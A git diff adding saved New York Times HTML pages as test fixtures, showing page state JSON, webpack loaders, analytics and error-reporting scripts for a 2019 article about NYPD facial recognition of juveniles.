,\"mediumThreeByTwo440\"]}).0":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190607opinionsunday07Oneill07Oneill-videoLarge.jpg","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190607opinionsunday07Oneill07Oneill-mediumThreeByTwo440.jpg","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190607opinionsunday07Oneill07Oneill-threeByTwoSmallAt2X.jpg","typename":"ImageRendition"}],"__typename":"ImageCrop"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.0.promotionalMedia":{"crops({\"renditionNames\":[\"threeByTwoSmallAt2X\",\"videoLarge\",\"mediumThreeByTwo440\"]})":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.0.promotionalMedia.crops({\"renditionNames\":[\"threeByTwoSmallAt2X\",\"videoLarge\",\"mediumThreeByTwo440\"]}).0","typename":"ImageCrop"}],"__typename":"Image"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.1":{"__typename":"Article","promotionalHeadline":"Spying on Children Won’t Keep Them Safe","promotionalSummary":"This week my daughter’s school became the first in the nation to pilot facial-recognition software. The technology’s potential is chilling.","headline":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.1.headline","typename":"CreativeWorkHeadline"},"summary":"This week my daughter’s school became the first in the nation to pilot facial-recognition software. The technology’s potential is chilling.","url":"https:\u002F\u002Fwww.nytimes.com\u002F2019\u002F06\u002F07\u002Fopinion\u002Flockport-facial-recognition-schools.html","firstPublished":"2019-06-07T15:00:05.000Z","promotionalMedia":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.1.promotionalMedia","typename":"Image"},"section":{"type":"id","generated":false,"id":"Section:U2VjdGlvbjpueXQ6Ly9zZWN0aW9uL2Q3YTcxMTg1LWFhNjAtNTYzNS1iY2UwLTVmYWI3NmM3YzI5Nw==","typename":"Section"},"bylines":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.1.bylines.0","typename":"Byline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.1.headline":{"default":"Spying on Children Won’t Keep Them Safe","__typename":"CreativeWorkHeadline"},"ImageRendition:images20190607opinion07shultz-privacy07shultz-privacy-videoLarge.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F06\u002F07\u002Fopinion\u002F07shultz-privacy\u002F07shultz-privacy-videoLarge.jpg","name":"videoLarge","__typename":"ImageRendition"},"ImageRendition:images20190607opinion07shultz-privacy07shultz-privacy-mediumThreeByTwo440.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F06\u002F07\u002Fopinion\u002F07shultz-privacy\u002F07shultz-privacy-mediumThreeByTwo440.jpg","name":"mediumThreeByTwo440","__typename":"ImageRendition"},"ImageRendition:images20190607opinion07shultz-privacy07shultz-privacy-threeByTwoSmallAt2X.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F06\u002F07\u002Fopinion\u002F07shultz-privacy\u002F07shultz-privacy-threeByTwoSmallAt2X.jpg","name":"threeByTwoSmallAt2X","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.1.promotionalMedia.crops({\"renditionNames\":[\"threeByTwoSmallAt2X\",\"videoLarge\",\"mediumThreeByTwo440\"]}).0":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190607opinion07shultz-privacy07shultz-privacy-videoLarge.jpg","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190607opinion07shultz-privacy07shultz-privacy-mediumThreeByTwo440.jpg","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190607opinion07shultz-privacy07shultz-privacy-threeByTwoSmallAt2X.jpg","typename":"ImageRendition"}],"__typename":"ImageCrop"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.1.promotionalMedia":{"crops({\"renditionNames\":[\"threeByTwoSmallAt2X\",\"videoLarge\",\"mediumThreeByTwo440\"]})":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.1.promotionalMedia.crops({\"renditionNames\":[\"threeByTwoSmallAt2X\",\"videoLarge\",\"mediumThreeByTwo440\"]}).0","typename":"ImageCrop"}],"__typename":"Image"},"Section:U2VjdGlvbjpueXQ6Ly9zZWN0aW9uL2Q3YTcxMTg1LWFhNjAtNTYzNS1iY2UwLTVmYWI3NmM3YzI5Nw==":{"id":"U2VjdGlvbjpueXQ6Ly9zZWN0aW9uL2Q3YTcxMTg1LWFhNjAtNTYzNS1iY2UwLTVmYWI3NmM3YzI5Nw==","displayName":"Opinion","__typename":"Section"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.0.bylines.0.creators.0":{"displayName":"James O’Neill","__typename":"Person"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.0.bylines.0":{"creators":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.0.bylines.0.creators.0","typename":"Person"}],"__typename":"Byline"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.1.bylines.0.creators.0":{"displayName":"Jim Shultz","__typename":"Person"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.1.bylines.0":{"creators":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.1.bylines.0.creators.0","typename":"Person"}],"__typename":"Byline"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.legacy":{"reviewInformation":"","__typename":"ArticleLegacyData","htmlExtendedAuthorOrArticleInformation":"","htmlInfoBox":""},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.0.contactDetails.socialMedia.0":{"type":"twitter","account":"JoeKGoldstein","__typename":"ContactDetailsSocialMedia"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.0.contactDetails.socialMedia.1":{"type":"url","account":"https:\u002F\u002Fwww.nytimes.com\u002Fby\u002Fjoseph-goldstein","__typename":"ContactDetailsSocialMedia"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.0.contactDetails":{"socialMedia":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.0.contactDetails.socialMedia.0","typename":"ContactDetailsSocialMedia"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.0.contactDetails.socialMedia.1","typename":"ContactDetailsSocialMedia"}],"__typename":"ContactDetails"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.0.legacyData":{"htmlShortBiography":"\u003Cp\u003EJoseph Goldstein writes about policing and the criminal justice system. He has been a reporter at The Times since 2011, and is based in New York. He also worked for a year in the Kabul bureau, reporting on Afghanistan.\u003C\u002Fp\u003E","__typename":"PersonLegacyData"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.1.contactDetails.socialMedia.0":{"type":"url","account":"https:\u002F\u002Fwww.nytimes.com\u002Fby\u002Fali-watkins","__typename":"ContactDetailsSocialMedia"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.1.contactDetails.socialMedia.1":{"type":"twitter","account":"AliWatkins","__typename":"ContactDetailsSocialMedia"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.1.contactDetails":{"socialMedia":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.1.contactDetails.socialMedia.0","typename":"ContactDetailsSocialMedia"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.1.contactDetails.socialMedia.1","typename":"ContactDetailsSocialMedia"}],"__typename":"ContactDetails"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.1.legacyData":{"htmlShortBiography":"\u003Cp\u003EAli Watkins is a reporter on the Metro Desk, covering courts and social services. Previously, she covered national security in Washington for The Times, BuzzFeed and McClatchy Newspapers.\u003C\u002Fp\u003E","__typename":"PersonLegacyData"},"ROOT_QUERY":{"workOrLocation({\"id\":\"\u002F2019\u002F08\u002F01\u002Fnyregion\u002Fnypd-facial-recognition-children-teenagers.html\"})":{"type":"id","generated":false,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==","typename":"Article"}}},"config":{"gqlUrl":"https:\u002F\u002Fsamizdat-graphql.nytimes.com\u002Fgraphql\u002Fv2","gqlRequestHeaders":{"nyt-app-type":"project-vi","nyt-app-version":"0.0.5","nyt-token":"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAs+\u002FoUCTBmD\u002FcLdmcecrnBMHiU\u002FpxQCn2DDyaPKUOXxi4p0uUSZQzsuq1pJ1m5z1i0YGPd1U1OeGHAChWtqoxC7bFMCXcwnE1oyui9G1uobgpm1GdhtwkR7ta7akVTcsF8zxiXx7DNXIPd2nIJFH83rmkZueKrC4JVaNzjvD+Z03piLn5bHWU6+w+rA+kyJtGgZNTXKyPh6EC6o5N+rknNMG5+CdTq35p8f99WjFawSvYgP9V64kgckbTbtdJ6YhVP58TnuYgr12urtwnIqWP9KSJ1e5vmgf3tunMqWNm6+AnsqNj8mCLdCuc5cEB74CwUeQcP2HQQmbCddBy2y0mEwIDAQAB"},"gqlFetchTimeout":4000,"disablePersistedQueries":false,"initialDeviceType":"desktop","fastlyAbraConfig":{},"serviceWorkerFile":"service-worker-test-1565019880489.js"},"ssrQuery":{},"initialLocation":{"pathname":"\u002F2019\u002F08\u002F01\u002Fnyregion\u002Fnypd-facial-recognition-children-teenagers.html"},"externalAssets":[]};</script>
+ <script>!function(e){function r(r){for(var n,i,a=r[0],f=r[1],l=r[2],p=0,s=[];p<a.length;p++)i=a[p],o[i]&&s.push(o[i][0]),o[i]=0;for(n in f)Object.prototype.hasOwnProperty.call(f,n)&&(e[n]=f[n]);for(c&&c(r);s.length;)s.shift()();return u.push.apply(u,l||[]),t()}function t(){for(var e,r=0;r<u.length;r++){for(var t=u[r],n=!0,a=1;a<t.length;a++){var f=t[a];0!==o[f]&&(n=!1)}n&&(u.splice(r--,1),e=i(i.s=t[0]))}return e}var n={},o={37:0},u=[];function i(r){if(n[r])return n[r].exports;var t=n[r]={i:r,l:!1,exports:{}};return e[r].call(t.exports,t,t.exports,i),t.l=!0,t.exports}i.m=e,i.c=n,i.d=function(e,r,t){i.o(e,r)||Object.defineProperty(e,r,{enumerable:!0,get:t})},i.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},i.t=function(e,r){if(1&r&&(e=i(e)),8&r)return e;if(4&r&&"object"==typeof e&&e&&e.__esModule)return e;var t=Object.create(null);if(i.r(t),Object.defineProperty(t,"default",{enumerable:!0,value:e}),2&r&&"string"!=typeof e)for(var n in e)i.d(t,n,function(r){return e[r]}.bind(null,n));return t},i.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return i.d(r,"a",r),r},i.o=function(e,r){return Object.prototype.hasOwnProperty.call(e,r)},i.p="/vi-assets/static-assets/";var a=window.webpackJsonp=window.webpackJsonp||[],f=a.push.bind(a);a.push=r,a=a.slice();for(var l=0;l<a.length;l++)r(a[l]);var c=f;t()}([]);
+//# sourceMappingURL=runtime~adslot-a45e9d5711d983de8fda.js.map</script>
+ <script async src="/vi-assets/static-assets/adslot-88dc25fbfb7328ff1466.js"></script>
+ <script>!function(e){function r(r){for(var o,n,c=r[0],i=r[1],s=r[2],f=0,l=[];f<c.length;f++)n=c[f],d[n]&&l.push(d[n][0]),d[n]=0;for(o in i)Object.prototype.hasOwnProperty.call(i,o)&&(e[o]=i[o]);for(b&&b(r);l.length;)l.shift()();return a.push.apply(a,s||[]),t()}function t(){for(var e,r=0;r<a.length;r++){for(var t=a[r],o=!0,c=1;c<t.length;c++){var i=t[c];0!==d[i]&&(o=!1)}o&&(a.splice(r--,1),e=n(n.s=t[0]))}return e}var o={},d={39:0},a=[];function n(r){if(o[r])return o[r].exports;var t=o[r]={i:r,l:!1,exports:{}};return e[r].call(t.exports,t,t.exports,n),t.l=!0,t.exports}n.e=function(e){var r=[],t=d[e];if(0!==t)if(t)r.push(t[2]);else{var o=new Promise(function(r,o){t=d[e]=[r,o]});r.push(t[2]=o);var a,c=document.createElement("script");c.charset="utf-8",c.timeout=120,n.nc&&c.setAttribute("nonce",n.nc),c.src=function(e){return n.p+""+({1:"answerpage~bestsellers~collections~hubpage~reviews~search~slideshow~timeswire~weddings",2:"vendors~audio~home~paidpost~story~trending~video",3:"bestsellers~byline~collections~reviews~trending",4:"vendors~answerpage~audio~slideshow~story",5:"vendors~audio~home~paidpost~story",6:"byline~timeswire~your-list",7:"answerpage~getstarted",8:"bestsellers~hubpage",9:"newsletter~regilite",10:"vendors~paidpost~video",11:"vendors~video~videoblock",13:"answerpage",14:"audio",15:"audioblock",16:"bestsellers",17:"blank",18:"byline",19:"coderedeem",20:"collections",21:"comments",22:"episodefooter",23:"getstarted",24:"home",25:"hubpage",28:"newsletter",29:"newsletters",30:"paidpost",31:"privacy",32:"programmables",33:"recirculation",34:"refer",35:"regilite",36:"reviews",40:"search",41:"slideshow",42:"stickyfilljs",43:"story",44:"timeswire",45:"trending",46:"vendors~audioblock",47:"vendors~collections",48:"vendors~episodefooter",49:"vendors~home",50:"vendors~slideshow",51:"video",52:"videoblock",53:"weddings",54:"your-list"}[e]||e)+"-"+{1:"3f4fa7221ef1476092a3",2:"99859b76d5b5d9a29339",3:"6f48de596aff21cee9e2",4:"4a8420b672b0eb786710",5:"ebc6aacf5f0b0f00d939",6:"cb31ca27d295accb8d47",7:"80921fe67fb06673afe2",8:"2cb427a40932c00d5467",9:"c17835f4020a81b3ebdf",10:"e6333c5f0c9d44a562b9",11:"340b908d6bbf26111cf8",13:"8c464e3538096d914776",14:"926f804d67e8a45a9f10",15:"287cb8154113b7f25784",16:"f4baccd76f2f8e8d9db8",17:"2102d3a3d664a932bad1",18:"7e235f2b3d6d19b68ded",19:"dd19d8e9f879d86abb75",20:"74e3e7b1d52b7fc14653",21:"bfae7d48bcf7e6c8ab89",22:"d32caaca6c5936978d4a",23:"300b3f609b3056db6c18",24:"e7c1959c1d8ba140707f",25:"c0e7bb29b120c3c2d802",28:"3ae59c9859d057a0249a",29:"e951dbf493cdf3558858",30:"c108afd87ed307bd7c43",31:"493cddaf9cad7abf670c",32:"3c3cfd695943ed02249d",33:"dc560ec354d5e74e6e39",34:"3202500fd0bc711d8680",35:"67182278afc38ad823b1",36:"f189bd767bbe13f59254",40:"33f98b7462fec3740a1d",41:"1d22c2cff98639b0c7b7",42:"8640087ba86873ebebae",43:"5230dd3423d03f5eb0b8",44:"2db55c4529c54890b4bd",45:"4614204aab86dd2d820f",46:"8574ab7f8faa5e4151d8",47:"07007634cf48d865ae1a",48:"1e063f58b4e3da82fc25",49:"6e63337189383a709584",50:"ab09592f64b71ce13dba",51:"35bd41b25aecc8dbc38b",52:"e71ac27943b9c0dc2f1c",53:"65894e06a558684c455b",54:"cf5b2e08b6f7a84842e2"}[e]+".js"}(e),a=function(r){c.onerror=c.onload=null,clearTimeout(i);var t=d[e];if(0!==t){if(t){var o=r&&("load"===r.type?"missing":r.type),a=r&&r.target&&r.target.src,n=new Error("Loading chunk "+e+" failed.\n("+o+": "+a+")");n.type=o,n.request=a,t[1](n)}d[e]=void 0}};var i=setTimeout(function(){a({type:"timeout",target:c})},12e4);c.onerror=c.onload=a,document.head.appendChild(c)}return Promise.all(r)},n.m=e,n.c=o,n.d=function(e,r,t){n.o(e,r)||Object.defineProperty(e,r,{enumerable:!0,get:t})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,r){if(1&r&&(e=n(e)),8&r)return e;if(4&r&&"object"==typeof e&&e&&e.__esModule)return e;var t=Object.create(null);if(n.r(t),Object.defineProperty(t,"default",{enumerable:!0,value:e}),2&r&&"string"!=typeof e)for(var o in e)n.d(t,o,function(r){return e[r]}.bind(null,o));return t},n.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(r,"a",r),r},n.o=function(e,r){return Object.prototype.hasOwnProperty.call(e,r)},n.p="/vi-assets/static-assets/",n.oe=function(e){throw console.error(e),e};var c=window.webpackJsonp=window.webpackJsonp||[],i=c.push.bind(c);c.push=r,c=c.slice();for(var s=0;s<c.length;s++)r(c[s]);var b=i;t()}([]);
+//# sourceMappingURL=runtime~main-262212ad851d651999bf.js.map</script>
+ <script defer src="/vi-assets/static-assets/vendor-3389f9c978bdc7cb443c.js"></script>
+ <script defer src="/vi-assets/static-assets/story-5230dd3423d03f5eb0b8.js"></script>
+ <script defer src="/vi-assets/static-assets/main-72d661c291004bc90d1b.js"></script>
+ <script>
+(function(w, l) {
+ w[l] = w[l] || [];
+ w[l].push({
+ 'gtm.start': new Date().getTime(),
+ event: 'gtm.js'
+ });
+})(window, 'dataLayer');
+(function(){
+ var url = 'https://et.nytimes.com/pixel' +
+ '?url=' + window.location.href +
+ '&referrer=' + document.referrer +
+ '&subject=module-interactions' +
+ '&moduleData=%7B%22module%22%3A%22nyt-vi-page-pixel%22%2C%22pgType%22%3A%22%22%2C%22eventName%22%3A%22Impression%22%2C%22action%22%3A%22Impression%22%7D' +
+ '&sourceApp=nyt-vi&instant=1' +
+ '&_=' + Date.now();
+ var img = document.createElement('img');
+ img.src = url;
+ img.alt = "";
+ img.style.cssText = 'position: absolute; z-index: -999999; left: -1000px; top: -1000px;';
+ document.body.appendChild(img);
+})();
+</script>
+ <script defer src="https://www.googletagmanager.com/gtm.js?id=GTM-P528B3&gtm_auth=tfAzqo1rYDLgYhmTnSjPqw&gtm_preview=env-130&gtm_cookies_win=x"></script>
+<noscript>
+<iframe src="https://www.googletagmanager.com/ns.html?id=GTM-P528B3&gtm_auth=tfAzqo1rYDLgYhmTnSjPqw&gtm_preview=env-130&gtm_cookies_win=x" height="0" width="0" style="display:none;visibility:hidden"></iframe>
+</noscript>
+ <div id="RavenInstaller">
+<script>
+if (window.INSTALL_RAVEN) {
+ window.addEventListener('load', function(event) {
+ var includeRaven = document.getElementById("RavenInstaller");
+ var script = document.createElement("script");
+ script.src = "/vi-assets/static-assets/raven.min-830a6d04a55c283934dd1893d6ddc66d.js";
+ script.onload = function() {
+ /* eslint-disable */
+// Install Raven
+window.Raven.config('https://7bc8bccf5c254286a99b11c68f6bf4ce@sentry.io/178860', {
+ release: vi.env.RELEASE,
+ environment: vi.env.ENVIRONMENT,
+ ignoreErrors: [/SecurityError: Blocked a frame with origin.*/]
+}).install(); // Stop using our error handler
+
+window.nyt_errors.ravenInstalled = true;
+var regex = /nyt-a=(.*?)(;|$)/;
+var id = regex.exec(document.cookie);
+
+if (id !== null) {
+ id = id[1];
+} else {
+ id = '';
+} // Setting nyt-a as user context
+
+
+window.Raven.setUserContext({
+ id: id
+}); // Pass collected errors to Raven
+
+window.nyt_errors.list.forEach(function (err) {
+ // weird?
+ if (!err) {
+ return;
+ } // also weird ... ?
+
+
+ if (!err.err) {
+ // maybe err itself is an Error?
+ if (err instanceof Error) {
+ window.Raven.captureException(err, err.data || {});
+ } // else { silently ignore? }
+
+ } // just making sure ...
+
+
+ if (err.err instanceof Error) {
+ window.Raven.captureException(err.err, err.data || {});
+ } // else { silently ignore? }
+
+}); // Pass collected Tags to Raven
+
+window.nyt_errors.tags.forEach(function (tag) {
+ window.Raven.setTagsContext(tag);
+});
+ };
+ includeRaven.appendChild(script);
+ });
+}
+</script>
+</div>
+
+
+ </body>
+</html> \ No newline at end of file
diff --git a/test/fixtures/nypd-facial-recognition-children-teenagers2.html b/test/fixtures/nypd-facial-recognition-children-teenagers2.html
new file mode 100644
index 000000000..ae8b26aff
--- /dev/null
+++ b/test/fixtures/nypd-facial-recognition-children-teenagers2.html
@@ -0,0 +1,226 @@
+<!DOCTYPE html>
+<html lang="en" itemId="https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html" itemType="http://schema.org/NewsArticle" itemScope="" class="story" xmlns:og="http://opengraphprotocol.org/schema/">
+ <head>
+ <title data-rh="true">She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database. - The New York Times</title>
+ <meta data-rh="true" itemprop="inLanguage" content="en-US"/><meta data-rh="true" property="article:published" itemprop="datePublished dateCreated" content="2019-08-01T17:15:31.000Z"/><meta data-rh="true" property="article:modified" itemprop="dateModified" content="2019-08-02T09:30:23.000Z"/><meta data-rh="true" http-equiv="Content-Language" content="en"/><meta data-rh="true" name="robots" content="noarchive"/><meta data-rh="true" name="articleid" itemprop="identifier" content="100000006583622"/><meta data-rh="true" name="nyt_uri" itemprop="identifier" content="nyt://article/9da58246-2495-505f-9abd-b5fda8e67b56"/><meta data-rh="true" name="pubp_event_id" itemprop="identifier" content="pubp://event/47a657bafa8a476bb36832f90ee5ac6e"/><meta data-rh="true" name="description" itemprop="description" content="With little oversight, the N.Y.P.D. has been using powerful surveillance technology on photos of children and teenagers."/><meta data-rh="true" name="image" itemprop="image" content="https://static01.nyt.com/images/2019/08/01/nyregion/01nypd-juveniles-promo/01nypd-juveniles-promo-facebookJumbo.jpg"/><meta data-rh="true" name="byl" content="By Joseph Goldstein and Ali Watkins"/><meta data-rh="true" name="thumbnail" itemprop="thumbnailUrl" content="https://static01.nyt.com/images/2019/08/01/nyregion/01nypd-juveniles-promo/01nypd-juveniles-promo-thumbStandard.jpg"/><meta data-rh="true" name="news_keywords" content="NYPD,Juvenile delinquency,Facial Recognition,Privacy,Government Surveillance,Police,Civil Rights,NYC"/><meta data-rh="true" name="pdate" content="20190801"/><meta data-rh="true" property="og:url" content="https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html"/><meta data-rh="true" property="og:type" content="article"/><meta data-rh="true" property="og:title" content="She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database."/><meta data-rh="true" property="og:image" content="https://static01.nyt.com/images/2019/08/01/nyregion/01nypd-juveniles-promo/01nypd-juveniles-promo-facebookJumbo.jpg"/><meta data-rh="true" property="og:description" content="With little oversight, the N.Y.P.D. has been using powerful surveillance technology on photos of children and teenagers."/><meta data-rh="true" property="twitter:url" content="https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html"/><meta data-rh="true" property="twitter:title" content="She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database."/><meta data-rh="true" property="twitter:description" content="With little oversight, the N.Y.P.D. has been using powerful surveillance technology on photos of children and teenagers."/><meta data-rh="true" property="twitter:image" content="https://static01.nyt.com/images/2019/08/01/nyregion/01nypd-juveniles-promo/01nypd-juveniles-promo-videoSixteenByNineJumbo1600.jpg"/><meta data-rh="true" property="twitter:image:alt" content=""/><meta data-rh="true" property="twitter:card" content="summary_large_image"/><meta data-rh="true" property="article:section" itemprop="articleSection" content="New York"/><meta data-rh="true" property="article:tag" content="Police Department (NYC)"/><meta data-rh="true" property="article:tag" content="Juvenile Delinquency"/><meta data-rh="true" property="article:tag" content="Facial Recognition Software"/><meta data-rh="true" property="article:tag" content="Privacy"/><meta data-rh="true" property="article:tag" content="Surveillance of Citizens by Government"/><meta data-rh="true" property="article:tag" content="Police"/><meta data-rh="true" property="article:tag" content="Civil Rights and Liberties"/><meta data-rh="true" property="article:tag" content="New York City"/><meta data-rh="true" name="CG" content="nyregion"/><meta data-rh="true" name="SCG" content=""/><meta data-rh="true" name="CN" content="experience-tech-and-society"/><meta data-rh="true" name="CT" content="spotlight"/><meta data-rh="true" name="PT" content="article"/><meta data-rh="true" name="PST" content="News"/><meta data-rh="true" name="url" itemprop="url" content="https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html"/><meta data-rh="true" name="msapplication-starturl" content="https://www.nytimes.com"/><meta data-rh="true" property="al:android:url" content="nytimes://reader/id/100000006583622"/><meta data-rh="true" property="al:android:package" content="com.nytimes.android"/><meta data-rh="true" property="al:android:app_name" content="NYTimes"/><meta data-rh="true" property="al:iphone:url" content="nytimes://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html"/><meta data-rh="true" property="al:iphone:app_store_id" content="284862083"/><meta data-rh="true" property="al:iphone:app_name" content="NYTimes"/><meta data-rh="true" property="al:ipad:url" content="nytimes://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html"/><meta data-rh="true" property="al:ipad:app_store_id" content="357066198"/><meta data-rh="true" property="al:ipad:app_name" content="NYTimes"/>
+ <meta charset="utf-8" />
+<meta http-equiv="X-UA-Compatible" content="IE=edge" />
+<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
+<meta property="fb:app_id" content="9869919170" />
+
+
+ <script type="text/javascript">
+ // 20.585kB
+ window.viHeadScriptSize = 20.585;
